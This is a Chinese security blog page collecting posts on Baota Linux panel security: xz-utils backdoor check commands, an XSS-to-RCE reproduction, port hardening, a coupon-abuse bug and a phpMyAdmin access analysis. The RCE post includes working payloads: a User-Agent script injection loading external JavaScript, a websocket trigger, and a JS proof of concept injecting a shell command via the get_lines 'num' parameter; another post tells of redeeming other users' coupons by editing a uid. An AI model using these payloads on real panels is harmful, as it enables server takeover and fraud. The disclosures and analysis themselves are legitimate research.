宝塔迷 - 隐私安全 https://www.baota.me/safety.html 记录一些关于面板安全的事情 黑客潜伏两年后向 xz-utils 添加后门影响多个 Linux 发行版 https://www.baota.me/post-445.html 2024-03-30T17:12:00+08:00 黑客潜伏两年后向 xz-utils 添加后门影响多个 Linux 发行版,但在影响有限,可防可控本周五 Red Hat 警告用户在最新版本的 xz-utils 数据压缩工具和库中发现了一个后门。程序在 5.6.0 和 5.6.1 版本中引入了恶意代码。这些恶意代码旨在允许未经授权的访问,而且这些受影响的版本已经被多个 Linux 发行版合并,但 RHEL 不受此影响。Red Hat 目前正在跟踪此供应链安全问题,编号为 CVE-2024-3094 (https://nvd.nist.gov/vuln/detail/CVE-2024-3094) ,严重性评分为 10/10 。xz 是被 Linux 发行版广泛使用的压缩格式之一, xz-utils (LZMA-utils)是一个开源项目,2022 年起有个名为 Jia Tan 的账号开始向该项目贡献代码,然后逐步接手该项目成为项目的主要贡献者,也是该项目当前唯一的活跃贡献者。恶意代码经过混淆,只能在完整的下载包中找到,而无法在 Git 发行版中找到,因为缺少触发后门构建过程的 M4 宏。该恶意代码会修改系统中的 OpenSSH ,使攻击者可以使用精心构造的数据跳过 RSA 密钥检验,在未授权情况下授予攻击者不受限制的访问权限。目前看这个后门仅影响部分 Debian/Ubuntu/Fedora/openSUSE 的预发布版本,且均已发布回退更新。用 ArchLinux / macOS / 追新系统版本 的可能需要关注下有一个 Linux 系统级别的漏洞已公布,该漏洞可让攻击者无需通过 SSH 验证即可登录服务器执行任意代码Debian/Ubuntu 的检查命令:apt list --installed 2>&1 | grep xz | grep -E '5.6.0|5.6.1' && echo "Check your system now" || echo "Everything is ok"macOS 的检查命令:brew info xz | grep xz | grep -E '5.6.0|5.6.1' && echo 'Check your system now' || echo 'Everything is ok'显示 Everything is ok 即不受影响如何修复:降级 xz-utils 即可macOS 修复:brew install xz相关链接:https://avd.aliyun.com/detail?id=AVD-2024-3094 (中文)https://nvd.nist.gov/vuln/detail/CVE-2024-3094https://www.helpnetsecurity.com/2024/03/29/cve-2024-3094-linux-backdoor/本文章转载自https://hostloc.com/thread-1289983-1-1.html 宝塔前台RCE复现+分析(1click) https://www.baota.me/post-353.html 2022-05-28T07:33:00+08:00 前言:该RCE与历史漏洞相似,同样是XSS到RCE,全文所有漏洞均已在最新版7.9.3修复,RCE1和2影响范围<7.9.2,RCE3影响范围 <7.9.3,修复方式就是把版本直接更新到最新版7.9.3即可,如果对业务有影响不能更新的话就把日志记录的时候过滤下XSS即可RCE1:准备工作:找到网站名 JS payload ‍ 复现过程:此时的wwwroot目录下面是没有文件的 发包User-Agent:</tExtArEa>"><script src=http://URL/1.js></script>点击网站日志 成功RCE原理分析:这里我用的环境是7.9.1版 目前的官网最新版也是7.9.1版本 复现流程可以看出来是xss+后台RCE的组合拳首先是xss,我们可以看到日志可以成功用闭合,然后就是经典的script src 分析源码,看看宝塔是如何读取日志的 这里有一个getsitelogs函数,其中获取了网站的日志路径,然后传进了GetNumLines函数,跟进去如下 函数里面语句较多,但是并没有任何的过滤然后returnMsg直接return回来其中日志是由nginx保存的,宝塔读取日志数据并return回来,无任何过滤,加上拼接,即可造成xss那么如何扩大危害造成rce呢?宝塔其中有一个getlines函数如下 注意一个函数,ExecShell,其中使用了subprocess.Popen执行了命令,这也是Py自带的执行命令函数,我们可以看到全程也是无过滤的那么我们转回来看getline函数先判断了传来的filename存不存在,不存在就return,如果存在的话就往下进行拼接num和filename,所以我们就知道了怎么可以rce,传一个必定存在的filename,然后num执行命令就可以了,但因为这是在后台,所以需要xss+csrf配合触发RCE2:原理基本一样,不过我们要让他报错,在后面目录输入报错语句强制报错http://124.222.155.156/ÑÞ:wJ„</textarea><script>alert(1)</script>同RCE1,这里直接取了错误日志 RCE3:复现过程:这个点与网站日志一样,也是有两个RCE的方式,不过触发点一样就当成一个写了,我发现宝塔本身也有两个日志,运行和报错,但报错日志是记录在运行日志当中的,而爱民哥发现的是用websockets传参,该方法比我的方式要更好一些利用报错(插入cookie后点击宝塔运行日志) `POST /login HTTP/1.1 Host: 124.222.155.156:8888 Content-Length: 298 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDf2OV8B1vndXw2kE Accept: */* Origin: http://124.222.155.156:8888 Referer: http://124.222.155.156:8888/4da4fb73/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie:/ÑÞ:wJ„</textarea><script>alert(1)</script>%7B%22status%22%3Atrue%2C%22msg%22%3A%22%u83B7%u53D6%u6210%u529F%21%22%2C%22data%22%3A%7B%22username%22%3A%22183****2354%22%7D%7D; config-tab=0; d83ead85f6a5e78d01786d2425d0944a=06c2e402-41be-4aea-8183-cb26a85b31c3.Q5M8TQT6Ez-ePm-x8dO3SJ4kUBQ Connection: close ------WebKitFormBoundaryDf2OV8B1vndXw2kE Content-Disposition: form-data; name="username" c4ca4238a0b923820dcc509a6f75849b ------WebKitFormBoundaryDf2OV8B1vndXw2kE Content-Disposition: form-data; name="password" 2e960237cb9186c02546fe2b1cdce087 ------WebKitFormBoundaryDf2OV8B1vndXw2kE--` 这个没有深入分析,X了一次我就没管了,因为爱民哥的方法要比我的好很多,所以可能有误,或者是之前X的没有清理干净源码漏洞点 基本上只要能X进来就能R了然后是爱民哥发现的精简法运行脚本(回显400即可) 然后点击成功RCE 这是面板日志获取的方式我们用websocket协议进行传参import asyncio import websockets async def hello(): async with websockets.connect("ws://URL:端口/</pre><script>alert(1)</script><pre style=\"display:none\">") as websocket: await websocket.send("") await websocket.recv() asyncio.run(hello())全部JSPOC//JQuery preload (optional) (function(){ var s = document.createElement('script');s.type = 'text/javascript';s.async = true;s.src = 'https://code.jquery.com/jquery-2.1.4.min.js'; (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s); })(); // cookie let cookies = document.cookie; function getCookie(sKey) { if (!sKey) { return null; } return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" +encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") +"\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null; } all_headers ={ "Accept":"*/*", "X-Requested-With":"XMLHttpRequest", "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Connection":"close", "Accept-Encoding":"gzip, deflate", "dnt":"1", "sec-gpc":"1", "Cookie": cookies, "x-cookie-token": getCookie('request_token'), "Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8", "x-http-token": $('#request_token_head').attr('token'), "Content-Type":"application/x-www-form-urlencoded;charset=UTF-8" } $.ajax({ url: "/ajax", type: "get", data: {"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE test ZAC'> /www/wwwroot/1.txt|"} , headers: all_headers, success: function (data) { console.info(data); } });感谢以下几位大佬的帮助:丞相,孙爱民,H0ly,可笑,广 修改宝塔linux面板默认端口 https://www.baota.me/post-59.html 2022-02-13T21:36:00+08:00 教程说明这个教程写给使用宝塔建站的新手朋友们,如有问题欢迎指正。使用其他服务请自行修改默认端口,这里只说建站常用的端口。有些人喜欢扫描别人服务器的常规默认端口来入侵服务器,一个IP对应有65535个端口可以用,每一个端口都会有一个对应服务,他们会使用工具批量扫描大量IP以及如3306 22 等常见端口,如不小心被扫描到,会利用端口对应的服务软件的漏洞达到入侵的目的。因此改了端口后如果被盯上源站IP从0-65535挨个扫,依然危险。常见端口80 443 WEB服务默认端口,该端口可以修改,但修改后必须加端口访问,所以不建议修改。22 ssh链接管理默认端口,建议修改。3389 windows远程桌面端口,建议修改。888 phpmyadmin访问默认端口,建议修改。8888 宝塔面板访问默认端口,建议修改。20 21 39000-40000 FTP服务默认端口,由于云主机可以使用SFTP,因此无特殊情况不需要安装FTP服务,所以不安装FTP情况下该端口无需放行。。3306 mysql数据库默认端口,该端口如无特殊需求,无需修改无需放行。内部使用本地IP:3306不影响访问。修改端口注意:修改完端口,别忘记更改安全组。修改ssh端口:面板-安全-ssh端口填入点击更改修改面板端口:面板-面板设置-面板端口修改pma端口:面板-软件-phpmyadmin设置-安全设置-更改访问端口windows远程桌面端口:windows版接触的不多暂不提供。注意:修改完端口,别忘记更改安全组。 宝塔无需登陆账号即可使用他人账号的授权抵扣券 https://www.baota.me/post-28.html 2021-12-28T10:43:00+08:00 前言目前本漏洞,已经联系官方修复了。原因是宝塔没有在接口做判断,因此只要传入对应数据就可以使用他人账号的授权抵扣券。本文章仅记录一下发现以及实现的过程。过程由于新版本无法仅靠删除bind.pl实现过强制登陆,因此我琢磨能否生成一个登录后的配置文件。于是乎利用php编写了一个生成userInfo的接口,起初没有在意,在一次测试新版本时。我发现我生成的配置文件,除了无法切换到测试版外没有任何限制,包括可以查看抵扣券(当时生成的账号的抵扣券为空)。于是乎,一个邪恶的念头产生了,配置文件中有个uid字段,做过开发的基本都知道,uid代表的是注册账号的用户ID。然后我尝试将uid改成我账号的(注意此时我服务器的是我随机生成的配置文件,而仅有的UID是我手动改成的),点击抵扣券发现已经显示出来我的抵扣券了,之后成功使用了其中的一张不到一个月的抵扣券(邀请2个活跃用户赠送的)。此时查看官网后台,授权列表已经显示了我已经使用的服务器了。但查看宝塔服务器绑定页面,显示只有历史解绑的记录(因为之前登陆过账号)。然后我猜想可能是我之前登陆过,因此没有限制,于是乎我手动随机改了几个的uid,终于发现45678这个ID有个报表的折扣券。本来打算联系一下官方以后尝试使用的,然后再由官方恢复用户的抵扣券。联系上以后林萧大佬表示不相信,然后发给了我他账号的uid。毫无疑问的我成功使用了他账号的3个月的企业版 宝塔面板PMA漏洞复现分析 https://www.baota.me/post-164.html 2021-09-01T15:46:00+08:00 周日晚,某群里突然发布了一则消息,宝塔面板的phpmyadmin存在未授权访问漏洞的紧急漏洞预警,并给出了一大批存在漏洞的URL:随便点开其中一个,赫然就是一个大大的phpmyadmin后台管理页面,无需任何认证与登录。当然,随后各种神图神事也都刷爆了社交网络,作为一个冷静安全研究者,我对此当然是一笑置之,但是这个漏洞的原因我还是颇感兴趣的,所以本文我们就来考证一下整件事情的缘由。我们的问题究竟是什么?首先,我先给出一个结论:这件事情绝对不是简简单单地有一个pma目录忘记删除了,或者宝塔面板疏忽大意进行了错误地配置,更不是像某些人阴谋论中说到的官方刻意留的后门。我为什么这么说?首先,根据官方的说法,这个漏洞只影响如下版本:Linux正式版7.4.2Linux测试版7.5.13Windows正式版6.8这个版本就是最新版(漏洞修复版)的前一个版本。也就是说,这个确定的小版本之前的版本面板是不受影响的。我们试想一下,如果是“后门”或者官方忘记删除的目录,为什么只影响这一个版本呢?况且宝塔面板发展了这么久,积累了400万用户,体系安全性也相对比较成熟,如果存在这么低劣的错误或“后门”,也应该早就被发现了。经过实际查看互联网上的案例和询问使用了宝塔面板的朋友,我发现在7.4.2以前的版本中没有pma这个目录,并且phpmyadmin默认情况下认证方法是需要输入账号密码的。所以,宝塔出现这个漏洞,一定是做过了下面这两件事:新增了一个pma目录,内容phpmyadminphpmyadmin的配置文件被修改了认证方式那么,我们的问题就变成了,官方为什么要做这两处修改,目的究竟是什么?为了研究这个问题,我们需要先安装一个宝塔7.4.2版本。但是,宝塔的安装是一个傻瓜化的一键化脚本:yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh并没有给到用户一个可以选择版本号的选项,官方的Git也许久没更新了,我们如何才能安装到一个合适的版本(7.4.2)呢?安装一个合适的版本这当然难不倒我。首先,我安装了最新版的宝塔面板,用的就是上述一键化脚本。安装的过程自然没什么问题,安装完成后,系统显示的版本号是最新版7.4.3,因为在爆出这个漏洞以后,官方迅速进行了修复升级。不过没关系,我们仍然可以找到离线升级包:http://download.bt.cn/install/update/LinuxPanel-7.4.0.ziphttp://download.bt.cn/install/update/LinuxPanel-7.4.2.ziphttp://download.bt.cn/install/update/LinuxPanel-7.4.3.zip分别是7.4.0/7.4.2/7.4.3的版本,我们分别下载并解压,并尝试将自己的服务器版本恢复成漏洞版本7.4.2。在恢复代码之前,我们先将服务器断网,或者将宝塔设置成离线模式:这么做的目的是防止宝塔进行自动版本更新,避免好不容易恢复的代码又自动升级了。宝塔系统代码默认安装完是在/www/server/panel,接着我们直接将将压缩包内的panel目录上传到这里来,覆盖掉已有的文件。重启下宝塔,即可发现系统版本号已经恢复成7.4.2了:还没完,我们使用beyond compare打开7.4.2和7.4.3的压缩包代码,先看看官方是怎么修复的漏洞:比较粗暴,直接判断目录/www/server/phpmyadmin/pma是否存在,如果存在就直接删掉。所以,我们虽然恢复了系统版本代码,但删掉的pma已经不在了,我们还需要恢复一下这个目录。方法也很简单,/www/server/phpmyadmin下本身存在一个phpmyadmin目录,我们直接复制一下这个目录即可:漏洞究竟是怎么回事有了环境,我们仍需看看代码。首先,由于7.4.2是引入漏洞的版本,我们看看官方对7.4.2的更新日志:用beyond compare打开7.4.0和7.4.2的压缩包代码,看看具体增加了哪些代码:可见,在7.4.2版本中增加了两个视图,分别对应着phpmyadmin和adminer。视图中用到了panelPHP#start方法,这个方法其实也是新加的:def start(self,puri,document_root,last_path = ''):''' @name 开始处理PHP请求 @author hwliang<2020-07-11> @param puri string(URI地址) @return socket or Response ''' ... #如果是PHP文件 if puri[-4:] == '.php': if request.path.find('/phpmyadmin/') != -1: ... if request.method == 'POST': #登录phpmyadmin if puri in ['index.php','/index.php']: content = public.url_encode(request.form.to_dict()) if not isinstance(content,bytes): content = content.encode() self.re_io = StringIO(content) username = request.form.get('pma_username') if username: password = request.form.get('pma_password') if not self.write_pma_passwd(username,password): return Resp('未安装phpmyadmin') if puri in ['logout.php','/logout.php']: self.write_pma_passwd(None,None) else: ... #如果是静态文件 return send_file(filename)代码太长,我们不展开分析,只我写出来的部分。在请求的路径是/phpmyadmin/index.php且存在pma_username、pma_password时,则执行self.write_pma_passwd(username,password)。跟进self.write_pma_passwd:def write_pma_passwd(self,username,password):''' @name 写入mysql帐号密码到配置文件 @author hwliang<2020-07-13> @param username string(用户名) @param password string(密码) @return bool ''' self.check_phpmyadmin_phpversion() pconfig = 'cookie' if username: pconfig = 'config' pma_path = '/www/server/phpmyadmin/' pma_config_file = os.path.join(pma_path,'pma/config.inc.php') conf = public.readFile(pma_config_file) if not conf: return False rep = r"/\* Authentication type \*/(.|\n)+/\* Server parameters \*/" rstr = '''/* Authentication type */ $cfg['Servers'][$i]['auth_type'] = '{}'; $cfg['Servers'][$i]['host'] = 'localhost'; $cfg['Servers'][$i]['port'] = '{}'; $cfg['Servers'][$i]['user'] = '{}'; $cfg['Servers'][$i]['password'] = '{}'; /* Server parameters */'''.format(pconfig,self.get_mysql_port(),username,password) conf = re.sub(rep,rstr,conf) public.writeFile(pma_config_file,conf) return True 这个代码也很好理解了,如果传入了username和password的情况下,宝塔会改写phpmyadmin的配置文件config.inc.php,将认证方式改成config,并写死账号密码。这就是为什么7.4.2版本中pma可以直接访问的原因。补个课:phpmyadmin支持数种认证方法,默认情况下是Cookie认证,此时需要输入账号密码;用户也可以将认证方式修改成Config认证,此时phpmyadmin会使用配置文件中的账号密码来连接mysql数据库,即不用再输入账号密码。官方做这些动作的原因其实各位看官看到这里肯定脑子里还是一团浆糊,这些代码究竟意味着什么呢?为什么官方要将认证模式改成config模式?是很多漏洞分析文章的通病,这些文章在出现漏洞后跟一遍漏洞代码,找到漏洞发生点和利用方法就结束了,并没有深入研究开发为什么会这么写,那么下次你还是挖不出漏洞。所以,这里思考一下,我们现在起码还有下列疑问:在7.4.2版本以前,用户是如何使用phpmyadmin的?宝塔为什么要在7.4.2版本增加phpmyadmin有关的视图?宝塔为什么要将phpmyadmin认证模式改成config?我们如何复现这个漏洞?第一个问题,我们其实可以简单找到答案。在正常安装宝塔最新版7.4.3时,我们点击宝塔后台的phpmyadmin链接,会访问到这样一个路径:7.4.3版本为了修复这个漏洞,回滚了部分代码,所以这种方式其实就是7.4.2以前版本的phpmyadmin的访问方式:通过888端口下的一个以phpmyadmin_开头的文件夹直接访问phpmyadmin。这种老的访问方法中,888端口是一个单独的Nginx或Apache服务器,整个东西是安全的,访问也需要输入账号密码。但是这种访问方法有些麻烦,需要额外开放888端口,而且每次登陆都要重新输入密码。所以,官方开发人员提出了一种新的做法,在宝塔后端的python层面转发用户对phpmyadmin的请求给php-fpm。这样有三个好处:直接在python层面做用户认证,和宝塔的用户认证进行统一,不需要多次输入mysql密码也不需要再对外开放888端口了使用phpmyadmin也不再依赖于Nginx/Apache等服务器中间件了这就是为什么宝塔要在7.4.2增加phpmyadmin有关的视图的原因,这个视图就是一个phpmyadmin的代理,做的事情就是转发用户的请求给php-fpm。用户在第一次使用这种方式登录时,系统会自动发送包含了Mysql账号密码的数据包,宝塔后端会捕捉到此时的账号密码,填入phpmyadmin的配置文件,并将认证方式改成config。对于用户来说,感受到的体验就是,不再需要输入任何Mysql密码即可使用phpmyadmin了。这的确给用户的使用带来了更好的体验。漏洞复现此时我们应该还有个疑问:既然官方目的是“直接在python层面做用户认证,和宝塔的用户认证进行统一”,那么仍然是有认证的呀?为什么会出现未授权访问漏洞呢?我们可以来复现一下这个漏洞。首先,我们以系统管理员的身份登录宝塔后台,来到数据库页面,点击“phpMyAdmin”按钮,会弹出如下模态框:这个里面有两种访问模式,“通过Nginx/Apache/OIs访问”是老版本的访问方式,“通过面板安全访问”就是7.4.2新增加的代理模式。我们点击“通过面板安全访问”,并抓包,会抓到这样一个数据包:宝塔前端将我们的Mysql账号密码填好了直接发给phpmyadmin。又因为我们前面分析过的那段代码,后台将账号密码直接写入了phpmyadmin配置文件,来做到免认证的逻辑。如果一个未认证的用户,直接访问http://ip:8888/phpmyadmin/index.php呢?会被直接重定向到登录页面:如果仅仅是这样,这个过程是不存在漏洞的。但是,官方开发人员犯了一个错误,他将pma应用放在了/www/server/phpmyadmin目录下,而这个目录原本是老的phpmyadmin访问方式所使用的Web根目录。这意味着,我通过老的888端口+pma目录,可以访问到新的phpmyadmin,而新的phpmyadmin又被官方修改了配置文件,最终导致了未授权访问漏洞:所以,如何解决这个问题呢?也很简单,只需要将pma移到其他目录去即可。总结我们来做个总结。首先,宝塔面板绝对不是弱智,这个漏洞不是简简单单的放了一个未授权的pma在外面忘记删。这其实会打很多人脸,因为大部分人认为这只是个简单的phpmyadmin未授权访问漏洞,并对宝塔进行了一顿diss,没有想到这后面其实是一个复杂的逻辑错误。其次,用户体验和安全绝对是不冲突的,我十分不喜欢为了保障安全而阉割用户体验的做法。所以希望宝塔官方不会因为这次的漏洞事件而彻底将代码回滚(据说7.4.3的更新只是临时解决方案),该改进的地方还是要改进。我有数年不再使用Linux面板了,这次也算重新体验了一下2020年的Linux面板,个人感觉宝塔看外在其实是一个比较注重安全的系统,比如自动生成的用户密码、用户名和密码的策略、默认的Php安全配置、自动的版本更新等等,相比于很多国内其他的商业系统,绝对属于有过之而无不及了。但是看代码其实需要改进的地方还有很多,这个以后有机会再细说吧。